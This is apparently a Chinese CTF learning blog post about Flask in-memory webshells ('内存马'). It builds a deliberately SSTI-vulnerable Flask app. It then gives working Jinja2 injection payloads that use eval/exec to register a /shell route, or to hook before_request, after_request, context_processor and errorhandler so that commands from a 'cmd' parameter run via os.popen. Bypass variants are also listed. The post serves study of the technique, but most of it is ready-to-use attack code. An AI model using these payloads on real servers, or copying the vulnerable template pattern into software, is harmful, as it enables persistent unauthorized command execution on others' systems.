mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1560 字
4 分钟
浅尝flask内存马
2026-02-15

介绍#

  1. Flask 内存马(Flask Memory Shell)是一种无文件攻击(Fileless Attack)技术。攻击者利用 RCE(远程代码执行)漏洞,在 Web 服务器运行时(Runtime)动态修改 Flask 框架的路由映射表(url_map),将恶意函数注册为新的路由端点,从而实现持久化控制。

特点:

  • 无文件落地:磁盘上不生成 Webshell 文件,绕过常规的文件监控和杀毒软件。
  • 易失性:驻留于进程内存中,Web 服务重启即失效
  1. 技术原理:动态路由注册

Flask 框架处理请求的核心机制是 URL 路由分发。正常开发中,我们使用 @app.route('/path') 装饰器注册路由;在底层,这实际上是调用了 app.add_url_rule() 方法。

内存马的本质: 在程序运行过程中,通过漏洞(如 SSTI)获取到全局的 app 实例(Application Context),主动调用 add_url_rule(),强行插入一条新的路由规则。

老版内存马#

搭建服务#

先写一个具有ssti漏洞的flask服务

from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/')
def home():
person="guest"
if request.args.get('name'):
person=request.args.get('name')
template = '<h2>Hello %s!</h2>' % person
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000,debug=True)

内存马基础payload#

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

image-20260215205057052

这样就打上了

image-20260215205154488

拆分学习#

一下内容来自gemini,它讲得挺详细的

# 外部包裹:Jinja2 模板语法
{{
# 1. 逃逸核心:获取 eval 函数
url_for.__globals__['__builtins__']['eval'](
# 2. 恶意代码字符串 (eval 的第一个参数)
"app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",
# 3. 上下文注入 (eval 的 global 参数)
{
'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'],
'app': url_for.__globals__['current_app']
}
)
}}

第一部分:逃逸与执行引擎 (Executor)#

代码片段:

Python

url_for.__globals__['__builtins__']['eval'](...)
  • url_for: 这是 Flask 的一个内置函数,用来生成 URL。在 Jinja2 模板中,我们不仅能用它生成链接,还能把它当作跳板
  • .__globals__: 这是越狱的关键。 Python 函数都有一个 __globals__ 属性,它保存了该函数定义时的全局变量字典。通过它,我们可以从原本封闭的 Jinja2 模板沙箱中跳出来,访问 Flask 整个应用的全局环境。
  • ['__builtins__']['eval']: 我们在全局变量中找到了 Python 的内置函数库 (__builtins__),并提取出了 eval 函数。
    • 作用eval 可以将字符串当作 Python 代码来执行。
    • 为什么需要它?:Jinja2 模板里不能直接写 def 或复杂的逻辑。利用 eval,我们可以把复杂的 Python 代码写成字符串传进去执行。

第二部分:上下文注入 (Context Injection)#

这是这个 Payload 最精妙的地方。

代码片段:

Python

{
'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'],
'app': url_for.__globals__['current_app']
}

解析: eval 函数的第二个参数允许我们定义代码执行时的全局变量作用域

  • 问题:在 eval 执行的字符串代码里,默认是拿不到 app 对象(用来注册路由)和 request 对象(用来获取参数)的。

  • 解决:攻击者手动把这两个关键对象“喂”给了 eval

    1. app: 传入了 current_app(当前运行的 Flask 应用实例),有了它才能调用 add_url_rule

    2. _request_ctx_stack: 传入了 Flask 的请求上下文栈。这是为了在内存马运行时,能够动态获取当前的 HTTP 请求信息(比如参数 ?cmd=...)。

    当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为_request_ctx_stack 的栈结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top

    简单来讲,就是当一个请求过来的时候,会实例化一个对象来封装和这个请求有关的东西(例如cookie、URL参数等),然后再推到栈中

第三部分:恶意逻辑主体 (The Malicious Payload)#

这是 eval 真正执行的那段字符串代码

代码片段:

Python

app.add_url_rule(
'/shell',
'shell',
lambda : __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)

深度拆解:

  1. app.add_url_rule(...): 这是 Flask 动态添加路由的标准方法。相当于你在代码里写 @app.route(...)
  2. '/shell', 'shell':
    • '/shell': 定义内存马的访问路径(URL)。
    • 'shell': 定义端点名称(Endpoint Name),必须唯一。
  3. lambda : ...:
    • 这里定义了访问 /shell 时要执行的视图函数。
    • 为什么用 lambda? 因为 eval 只能执行表达式,不能执行 def 定义的函数代码块。Lambda 是匿名函数,正好是个表达式。
  4. _request_ctx_stack.top.request.args.get('cmd', 'whoami'):
    • 获取命令:这行代码从当前的 HTTP 请求中获取名为 cmd 的参数。
    • 上下文栈_request_ctx_stack.top 指向当前的请求上下文,从中提取 request 对象。
    • 默认值:如果不传 cmd,默认执行 whoami
  5. __import__('os').popen(...).read():
    • 执行命令:利用 os 模块的 popen 方法执行刚才获取到的系统命令,并利用 .read() 读取命令回显结果,最后返回给网页。

整个过程就相当于添加了一个路由

@app.route('/shell')
def evil_shell():
cmd = request.args.get('cmd', 'whoami')
result = os.popen(cmd).read()
return result

变形绕过#

  • url_for可用get_flashed_messages替换
  • eval可以通过request.application.__self__._get_data_for_json['__builtins__']['eval']拿;
  • app可以通过{{lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app")}}获取

新版内存马#

Flask 官方在 2.2 版本 之后做了一个重大的底层重构:

  • 删除了 _request_ctx_stack
  • 删除了 _app_ctx_stack
  • 引入了 Python 标准库的 ContextVar 来管理上下文。

这也就意味着刚刚学的哪些方法在新的flask版本中几乎没有任何作用,下面更新一下flask版本,开始学习在新版中打入内存马的姿势

@app.before_request#

他的意思就是在我们的请求前进行一些操作

他的正常写法

@app.before_request
def before_request():
# 执行操作比如身份验证
if not request.headers.get("Authorization"):
return "Unauthorized",401

image-20260215215903583

可以注意到这个函数的回显是f

payload:

{{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}

这个payload是利用app.before_request在每一次请求之前先处理我们定义的恶意函数lambda : __import__('os').popen(request.args.get('cmd')).read()当这个请求中出现GET请求且参数是cmd时会执行恶意函数并回显

@app.after_request#

于上一种大致相同

payload:

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda x: __import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read()))",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}

@app.context_processor#

image-20260215220301110

官方定义: context_processor 是一个装饰器,用来注册一个函数。这个函数会在每次渲染模板(调用 render_template)之前运行。

像上面一样,只需要在append()中写入一个恶意函数,那么每次再调用模板的时候就会执行这个函数,达到内存马的目的

如果在app.py中的写法大概是这样

# 恶意的上下文处理器
def evil_processor():
import os
from flask import request
# 获取参数 cmd
cmd = request.args.get('cmd')
result = ""
if cmd:
# 执行命令
result = os.popen(cmd).read()
# 必须返回字典,我们将结果放入 'res' 变量中
# 这样在模板里虽然不一定直接显示 {{res}},但代码确实执行了
return {'res': result}
# 注入过程
app.template_context_processors[None].append(evil_processor)

payload:

{{url_for.__globals__['__builtins__']['eval']("app.template_context_processors.setdefault(None,[]).append(lambda:{'btop251':__import__('os').popen(request.args.get('cmd','whoami')).read()})",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}

@app.errorhandler#

一个错误处理的装饰器

正常用法:

@app.errorhandler(404)
def error(e):
print(e)
return "error"

当出现404是就回返回error

看着猪脑过载了,所以直接cp clown师傅的payload,当作记录

{{url_for.__globals__['__builtins__']['exec']("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class]=lambda exc_class: __import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

浅尝flask内存马
https://btop251.vercel.app/posts/ctf/浅尝flask内存马/
作者
btop251
发布于
2026-02-15
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时